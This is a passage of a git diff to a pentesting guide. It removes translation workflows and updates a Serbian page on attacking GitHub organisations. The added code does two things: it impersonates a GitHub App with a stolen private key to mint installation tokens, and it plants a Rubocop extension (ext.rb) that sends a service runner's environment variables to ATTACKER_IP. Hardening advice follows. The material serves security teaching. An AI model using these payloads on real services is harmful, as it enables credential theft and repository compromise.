-jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Swahili - BRANCH: sw - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_tr.yml b/.github/workflows/translate_tr.yml deleted file mode 100644 index f3c5359c1..000000000 --- a/.github/workflows/translate_tr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to TR (Turkish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: tr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Turkish - BRANCH: tr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_uk.yml b/.github/workflows/translate_uk.yml deleted file mode 100644 index 293f113e2..000000000 --- a/.github/workflows/translate_uk.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to UK (Ukranian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: uk - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Ukranian - BRANCH: uk - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_zh.yml b/.github/workflows/translate_zh.yml deleted file mode 100644 index 76f12ba6a..000000000 --- a/.github/workflows/translate_zh.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to ZH (Chinese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: zh - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Chinese - BRANCH: zh - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index 83b1e4846..0c47d86c7 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -18,13 +18,13 @@ Github repozitorijumi mogu biti konfigurisani kao javni, privatni i interni. - **Privatni** znači da će **samo** ljudi iz **organizacije** moći da im pristupe - **Interni** znači da će **samo** ljudi iz **preduzeća** (preduzeće može imati nekoliko organizacija) moći da mu pristupe -- **Javni** znači da će **sva internet** moći da mu pristupi. +- **Javni** znači da će **svi na internetu** moći da mu pristupe. U slučaju da znate **korisnika, repozitorijum ili organizaciju koju želite da ciljate**, možete koristiti **github dorks** da pronađete osetljive informacije ili pretražujete **curenje osetljivih informacija** **u svakom repozitorijumu**. ### Github Dorks -Github omogućava da **pretražujete nešto specificirajući kao opseg korisnika, repozitorijuma ili organizacije**. Stoga, sa listom stringova koji će se pojaviti blizu osetljivih informacija, možete lako **pretraživati potencijalne osetljive informacije u vašem cilju**. +Github omogućava da **pretražujete nešto specificirajući kao opseg korisnika, repozitorijuma ili organizacije**. Stoga, sa listom stringova koji će se pojaviti blizu osetljivih informacija, možete lako **pretražiti potencijalne osetljive informacije u vašem cilju**. Alati (svaki alat sadrži svoju listu dorks): @@ -34,24 +34,18 @@ Alati (svaki alat sadrži svoju listu dorks): ### Github Curenja -Molimo vas, imajte na umu da su github dorks takođe namenjeni pretraživanju curenja koristeći opcije pretrage na github-u. Ova sekcija je posvećena onim alatima koji će **preuzeti svaki repozitorijum i pretražiti osetljive informacije u njima** (čak proveravajući određenu dubinu commit-a). +Imajte na umu da su github dorks takođe namenjeni pretraživanju curenja koristeći github opcije pretrage. Ova sekcija je posvećena onim alatima koji će **preuzeti svaki repozitorijum i pretražiti osetljive informacije u njima** (čak proveravajući određenu dubinu commit-a). Alati (svaki alat sadrži svoju listu regex-a): -- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) -- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) -- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit) -- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) -- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets) -- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks) -- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) +Proverite ovu stranicu: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)** > [!WARNING] > Kada tražite curenja u repozitorijumu i pokrenete nešto poput `git log -p`, ne zaboravite da mogu postojati **druge grane sa drugim commit-ima** koje sadrže tajne! ### Spoljni Forkovi -Moguće je **kompromitovati repozitorijume zloupotrebom pull zahteva**. Da biste znali da li je repozitorijum ranjiv, uglavnom treba da pročitate Github Actions yaml konfiguracije. [**Više informacija o ovome u nastavku**](./#execution-from-a-external-fork). +Moguće je **kompromitovati repozitorijume zloupotrebom pull zahteva**. Da biste znali da li je repozitorijum ranjiv, uglavnom treba da pročitate Github Actions yaml konfiguracije. [**Više informacija o ovome u nastavku**](#execution-from-a-external-fork). ### Github Curenja u obrisanim/internim forkovima @@ -71,13 +65,13 @@ Postoje neke **podrazumevane privilegije** koje se mogu dodeliti **članovima** - **Forkovanje repozitorijuma**: Ako nije neophodno, bolje je **ne dozvoliti** članovima da fork-uju repozitorijume organizacije. - **Kreiranje stranica**: Ako nije neophodno, bolje je **ne dozvoliti** članovima da objavljuju stranice iz repozitorijuma organizacije. Ako je neophodno, možete dozvoliti kreiranje javnih ili privatnih stranica. - **Zahtevi za pristup integracijama**: Sa ovim omogućeno, spoljnim saradnicima će biti omogućeno da zatraže pristup za GitHub ili OAuth aplikacije da pristupe ovoj organizaciji i njenim resursima. Obično je potrebno, ali ako nije, bolje je onemogućiti to. -- _Nisam mogao pronaći ove informacije u odgovoru API-a, podelite ako ih pronađete_ -- **Promena vidljivosti repozitorijuma**: Ako je omogućeno, **članovi** sa **admin** dozvolama za **repozitorijum** će moći da **promene njegovu vidljivost**. Ako je onemogućeno, samo vlasnici organizacije mogu menjati vidljivosti repozitorijuma. Ako ne želite da ljudi učine stvari **javnim**, uverite se da je ovo **onemogućeno**. -- _Nisam mogao pronaći ove informacije u odgovoru API-a, podelite ako ih pronađete_ +- _Nisam mogao pronaći ove informacije u API-ju, podelite ako ih imate_ +- **Promena vidljivosti repozitorijuma**: Ako je omogućeno, **članovi** sa **admin** dozvolama za **repozitorijum** će moći da **promene njegovu vidljivost**. Ako je onemogućeno, samo vlasnici organizacije mogu menjati vidljivosti repozitorijuma. Ako ne želite da ljudi čine stvari **javnim**, uverite se da je ovo **onemogućeno**. +- _Nisam mogao pronaći ove informacije u API-ju, podelite ako ih imate_ - **Brisanje i prenos repozitorijuma**: Ako je omogućeno, članovi sa **admin** dozvolama za repozitorijum će moći da **obrišu** ili **prenose** javne i privatne **repozitorijume.** -- _Nisam mogao pronaći ove informacije u odgovoru API-a, podelite ako ih pronađete_ +- _Nisam mogao pronaći ove informacije u API-ju, podelite ako ih imate_ - **Dozvoliti članovima da kreiraju timove**: Ako je omogućeno, svaki **član** organizacije će moći da **kreira** nove **timove**. Ako je onemogućeno, samo vlasnici organizacije mogu kreirati nove timove. Bolje je da ovo bude onemogućeno. -- _Nisam mogao pronaći ove informacije u odgovoru API-a, podelite ako ih pronađete_ +- _Nisam mogao pronaći ove informacije u API-ju, podelite ako ih imate_ - **Još stvari se mogu konfigurisati** na ovoj stranici, ali prethodne su one koje su više vezane za bezbednost. ### Podešavanja akcija @@ -87,12 +81,12 @@ Nekoliko podešavanja vezanih za bezbednost može se konfigurisati za akcije sa > [!NOTE] > Imajte na umu da se sve ove konfiguracije takođe mogu postaviti na svakom repozitorijumu nezavisno -- **Github akcije politike**: Omogućava vam da navedete koji repozitorijumi mogu pokretati radne tokove i koji radni tokovi bi trebali biti dozvoljeni. Preporučuje se da **specificirate koji repozitorijumi** bi trebali biti dozvoljeni i ne dozvoliti svim akcijama da se pokreću. +- **Github akcije politike**: Omogućava vam da navedete koji repozitorijumi mogu pokretati radne tokove i koji radni tokovi bi trebali biti dozvoljeni. Preporučuje se da **specificirate koji repozitorijumi** bi trebali biti dozvoljeni i ne dozvolite svim akcijama da se pokreću. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Fork pull request radni tokovi od spoljnjih saradnika**: Preporučuje se da **zahtevate odobrenje za sve** spoljne saradnike. -- _Nisam mogao pronaći API sa ovim informacijama, podelite ako ih pronađete_ +- **Fork pull request radni tokovi od spoljnjih saradnika**: Preporučuje se da se **zahteva odobrenje za sve** spoljne saradnike. +- _Nisam mogao pronaći API sa ovim informacijama, podelite ako ih imate_ - **Pokretanje radnih tokova iz fork pull zahteva**: Veoma je **nepreporučljivo pokretati radne tokove iz pull zahteva** jer će održavaoci fork porekla dobiti mogućnost korišćenja tokena sa dozvolama za čitanje na izvorni repozitorijum. -- _Nisam mogao pronaći API sa ovim informacijama, podelite ako ih pronađete_ +- _Nisam mogao pronaći API sa ovim informacijama, podelite ako ih imate_ - **Dozvole radnog toka**: Veoma se preporučuje da **samo date dozvole za čitanje repozitorijuma**. Ne preporučuje se davanje dozvola za pisanje i kreiranje/odobravanje pull zahteva kako bi se izbegla zloupotreba GITHUB_TOKEN-a datog za pokretanje radnih tokova. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) @@ -109,18 +103,18 @@ Za ovaj scenario pretpostavićemo da ste dobili neki pristup github nalogu. ### Sa korisničkim kredencijalima -Ako nekako već imate kredencijale za korisnika unutar organizacije, možete **samo da se prijavite** i proverite koje **preduzetničke i organizacione uloge imate**, ako ste običan član, proverite koje **dozvole obični članovi imaju**, u kojim **grupama** ste, koje **dozvole imate** nad kojim **repozitorijumima,** i **kako su repozitorijumi zaštićeni.** +Ako nekako već imate kredencijale za korisnika unutar organizacije, možete **samo da se prijavite** i proverite koje **preduzetničke i organizacione uloge imate**, ako ste običan član, proverite koje **dozvole imaju obični članovi**, u kojim **grupama** ste, koje **dozvole imate** nad kojim **repozitorijumima** i **kako su repozitorijumi zaštićeni.** -Imajte na umu da se **2FA može koristiti** tako da ćete moći da pristupite ovim informacijama samo ako takođe možete **proći tu proveru**. +Imajte na umu da se **2FA može koristiti** tako da ćete moći da pristupite ovim informacijama samo ako možete i da **prođete tu proveru**. > [!NOTE] > Imajte na umu da ako **uspete da ukradete `user_session` kolačić** (trenutno konfigurisano sa SameSite: Lax) možete **potpuno imitirati korisnika** bez potrebe za kredencijalima ili 2FA. -Proverite odeljak ispod o [**zaobilaznicama zaštite grana**](./#branch-protection-bypass) u slučaju da je korisno. +Proverite odeljak ispod o [**zaobilaženju zaštite grana**](#branch-protection-bypass) u slučaju da je korisno. ### Sa korisničkim SSH ključem -Github omogućava **korisnicima** da postave **SSH ključeve** koji će se koristiti kao **metoda autentifikacije za implementaciju koda** u njihovo ime (2FA se ne primenjuje). +Github omogućava **korisnicima** da postave **SSH ključeve** koji će se koristiti kao **metoda autentifikacije za implementaciju koda** u njihovo ime (bez primene 2FA). Sa ovim ključem možete izvršiti **promene u repozitorijumima gde korisnik ima neke privilegije**, međutim ne možete ga koristiti za pristup github API-ju da enumerišete okruženje. Međutim, možete **enumerisati lokalne postavke** da dobijete informacije o repozitorijumima i korisniku kojem imate pristup: ```bash @@ -130,7 +124,7 @@ git config --list ``` Ako je korisnik konfigurisao svoje korisničko ime kao svoje github korisničko ime, možete pristupiti **javnim ključevima koje je postavio** na svom nalogu na _https://github.com/\.keys_, možete proveriti ovo da potvrdite da li se privatni ključ koji ste pronašli može koristiti. -**SSH ključevi** se takođe mogu postaviti u repozitorijume kao **deploy ključevi**. Svako ko ima pristup ovom ključu moći će da **pokrene projekte iz repozitorijuma**. Obično na serveru sa različitim deploy ključevima lokalna datoteka **`~/.ssh/config`** će vam dati informacije o tome kojem ključu se odnosi. +**SSH ključevi** se takođe mogu postaviti u repozitorijume kao **deploy ključevi**. Svako ko ima pristup ovom ključu moći će da **pokrene projekte iz repozitorijuma**. Obično na serveru sa različitim deploy ključevima lokalna datoteka **`~/.ssh/config`** će vam dati informacije o tome kojem ključu pripada. #### GPG Ključevi @@ -144,7 +138,7 @@ gpg --list-secret-keys --keyid-format=long Za uvod o [**korisničkim tokenima proverite osnovne informacije**](basic-github-information.md#personal-access-tokens). -Korisnički token može biti korišćen **umesto lozinke** za Git preko HTTPS-a, ili može biti korišćen za [**autentifikaciju na API preko osnovne autentifikacije**](https://docs.github.com/v3/auth/#basic-authentication). U zavisnosti od privilegija koje su mu pridružene, možda ćete moći da izvršite različite radnje. +Korisnički token može da se koristi **umesto lozinke** za Git preko HTTPS-a, ili može da se koristi za [**autentifikaciju na API preko osnovne autentifikacije**](https://docs.github.com/v3/auth/#basic-authentication). U zavisnosti od privilegija koje su mu pridružene, možda ćete moći da izvršite različite radnje. Korisnički token izgleda ovako: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` @@ -152,19 +146,119 @@ Korisnički token izgleda ovako: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` Za uvod o [**Github Oauth aplikacijama proverite osnovne informacije**](basic-github-information.md#oauth-applications). -Napadač može kreirati **malicious Oauth aplikaciju** da bi pristupio privilegovanim podacima/radnjama korisnika koji je prihvataju verovatno kao deo phishing kampanje. +Napadač može da kreira **malicious Oauth aplikaciju** da bi pristupio privilegovanim podacima/radnjama korisnika koji je prihvataju verovatno kao deo phishing kampanje. Ovo su [opsezi koje Oauth aplikacija može zatražiti](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Uvek treba proveriti opsege koji se traže pre nego što ih prihvatite. -Pored toga, kao što je objašnjeno u osnovnim informacijama, **organizacije mogu dati/oduzeti pristup trećim aplikacijama** informacijama/repozitorijima/radnjama vezanim za organizaciju. +Štaviše, kao što je objašnjeno u osnovnim informacijama, **organizacije mogu dati/oduzeti pristup aplikacijama trećih strana** informacijama/repozitorijumima/radnjama vezanim za organizaciju. ### Sa Github aplikacijom Za uvod o [**Github aplikacijama proverite osnovne informacije**](basic-github-information.md#github-applications). -Napadač može kreirati **malicious Github aplikaciju** da bi pristupio privilegovanim podacima/radnjama korisnika koji je prihvataju verovatno kao deo phishing kampanje. +Napadač može da kreira **malicious Github aplikaciju** da bi pristupio privilegovanim podacima/radnjama korisnika koji je prihvataju verovatno kao deo phishing kampanje. -Pored toga, kao što je objašnjeno u osnovnim informacijama, **organizacije mogu dati/oduzeti pristup trećim aplikacijama** informacijama/repozitorijima/radnjama vezanim za organizaciju. +Štaviše, kao što je objašnjeno u osnovnim informacijama, **organizacije mogu dati/oduzeti pristup aplikacijama trećih strana** informacijama/repozitorijumima/radnjama vezanim za organizaciju. + +#### Imitirati GitHub aplikaciju sa njenim privatnim ključem (JWT → tokeni za pristup instalaciji) + +Ako dobijete privatni ključ (PEM) GitHub aplikacije, možete potpuno imitirati aplikaciju kroz sve njene instalacije: + +- Generišite kratkoročni JWT potpisan privatnim ključem +- Pozovite GitHub App REST API da enumerišete instalacije +- Mintujte tokene za pristup po instalaciji i koristite ih za listanje/kloniranje/pushovanje u repozitorijume dodeljene toj instalaciji + +Zahtevi: +- Privatni ključ GitHub aplikacije (PEM) +- ID GitHub aplikacije (numerički). GitHub zahteva da iss bude ID aplikacije + +Kreirajte JWT (RS256): +```python +#!/usr/bin/env python3 +import time, jwt + +with open("priv.pem", "r") as f: +signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) + +def gen_jwt(): +now = int(time.time()) +payload = { +"iat": now - 60, +"exp": now + 600 - 60, # ≤10 minutes +"iss": APP_ID, +} +return jwt.encode(payload, signing_key, algorithm="RS256") +``` +Lista instalacija za autentifikovanu aplikaciju: +```bash +JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456) + +curl -sS -H "Authorization: Bearer $JWT" \ +-H "Accept: application/vnd.github+json" \ +-H "X-GitHub-Api-Version: 2022-11-28" \ +https://api.github.com/app/installations +``` +Kreirajte token za pristup instalaciji (važeći ≤ 10 minuta): +```bash +INSTALL_ID=12345678 +curl -sS -X POST \ +-H "Authorization: Bearer $JWT" \ +-H "Accept: application/vnd.github+json" \ +-H "X-GitHub-Api-Version: 2022-11-28" \ +https://api.github.com/app/installations/$INSTALL_ID/access_tokens +``` +Koristite token za pristup kodu. Možete klonirati ili slati koristeći x‑access‑token URL formu: +```bash +TOKEN=ghs_... +REPO=owner/name +git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git +# push works if the app has contents:write on that repository +``` +Programatski PoC za ciljanje specifične organizacije i listanje privatnih repozitorijuma (PyGithub + PyJWT): +```python +#!/usr/bin/env python3 +import time, jwt, requests +from github import Auth, GithubIntegration + +with open("priv.pem", "r") as f: +signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) +ORG = "someorg" + +def gen_jwt(): +now = int(time.time()) +payload = {"iat": now-60, "exp": now+540, "iss": APP_ID} +return jwt.encode(payload, signing_key, algorithm="RS256") + +auth = Auth.AppAuth(APP_ID, signing_key) +GI = GithubIntegration(auth=auth) +installation = GI.get_org_installation(ORG) +print(f"Installation ID: {installation.id}") + +jwt_tok = gen_jwt() +r = requests.post( +f"https://api.github.com/app/installations/{installation.id}/access_tokens", +headers={ +"Accept": "application/vnd.github+json", +"Authorization": f"Bearer {jwt_tok}", +"X-GitHub-Api-Version": "2022-11-28", +}, +) +access_token = r.json()["token"] + +print("--- repos ---") +for repo in installation.get_repos(): +print(f"* {repo.full_name} (private={repo.private})") +clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git" +print(clone_url) +``` +Napomene: +- Instalacioni tokeni nasleđuju tačno dozvole na nivou repozitorijuma aplikacije (na primer, contents: write, pull_requests: write) +- Tokeni ističu za ≤10 minuta, ali novi tokeni mogu se praviti neograničeno sve dok zadržite privatni ključ +- Takođe možete enumerisati instalacije putem REST API-ja (GET /app/installations) koristeći JWT ## Kompromitovanje i zloupotreba Github akcije @@ -174,51 +268,101 @@ Postoji nekoliko tehnika za kompromitovanje i zloupotrebu Github akcije, proveri abusing-github-actions/ {{#endref}} +## Zloupotreba aplikacija trećih strana na GitHub-u koje pokreću eksterne alate (Rubocop ekstenzija RCE) + +Neke GitHub aplikacije i usluge za pregled PR-a izvršavaju eksterne linters/SAST protiv pull zahteva koristeći konfiguracione datoteke pod kontrolom repozitorijuma. Ako podržani alat omogućava dinamičko učitavanje koda, PR može postići RCE na izvršavaču usluge. + +Primer: Rubocop podržava učitavanje ekstenzija iz svoje YAML konfiguracije. Ako usluga prođe kroz .rubocop.yml koji obezbeđuje repozitorijum, možete izvršiti proizvoljni Ruby zahtevom za lokalnom datotekom. + +- Uslovi za aktiviranje obično uključuju: +- Alat je omogućen u usluzi +- PR sadrži datoteke koje alat prepoznaje (za Rubocop: .rb) +- Repozitorijum sadrži konfiguracionu datoteku alata (Rubocop traži .rubocop.yml bilo gde) + +Datoteke za eksploataciju u PR-u: + +.rubocop.yml +```yaml +require: +- ./ext.rb +``` +ext.rb (izvlačenje varijabli okruženja za izvršavanje): +```ruby +require 'net/http' +require 'uri' +require 'json' + +env_vars = ENV.to_h +json_data = env_vars.to_json +url = URI.parse('http://ATTACKER_IP/') + +begin +http = Net::HTTP.new(url.host, url.port) +req = Net::HTTP::Post.new(url.path) +req['Content-Type'] = 'application/json' +req.body = json_data +http.request(req) +rescue StandardError => e +warn e.message +end +``` +Takođe uključite dovoljno veliki lažni Ruby fajl (npr. main.rb) kako bi linter zapravo radio. + +Uticaj u stvarnom svetu: +- Potpuna izvršenja koda na produkcionom izvršavaocu koji je pokrenuo linter +- Ekstrakcija osetljivih promenljivih okruženja, uključujući privatni ključ GitHub aplikacije korišćen od strane servisa, API ključeve, DB akreditive itd. +- Sa provaljenim privatnim ključem GitHub aplikacije možete kreirati tokene za instalaciju i dobiti pristup za čitanje/pisanje svim repozitorijumima koji su dodeljeni toj aplikaciji (videti odeljak iznad o imitujući GitHub aplikaciju) + +Uputstva za jačanje servisa koji pokreću spoljne alate: +- Smatrajte konfiguracije alata koje pruža repozitorijum kao nepouzdani kod +- Izvršavajte alate u strogo izolovanim peskovnicima bez montiranih osetljivih promenljivih okruženja +- Primijenite akreditive sa najmanjim privilegijama i izolaciju datotečnog sistema, i ograničite/odbijte izlaznu mrežnu komunikaciju za alate koji ne zahtevaju pristup internetu + ## Zaobilaženje zaštite grane -- **Zahtevajte određeni broj odobrenja**: Ako ste kompromitovali nekoliko naloga, možete jednostavno prihvatiti svoje PR-ove iz drugih naloga. Ako imate samo nalog sa kojeg ste kreirali PR, ne možete prihvatiti svoj PR. Međutim, ako imate pristup **Github Action** okruženju unutar repozitorijuma, koristeći **GITHUB_TOKEN** možda ćete moći da **odobrite svoj PR** i dobijete 1 odobrenje na ovaj način. +- **Zahtevajte određeni 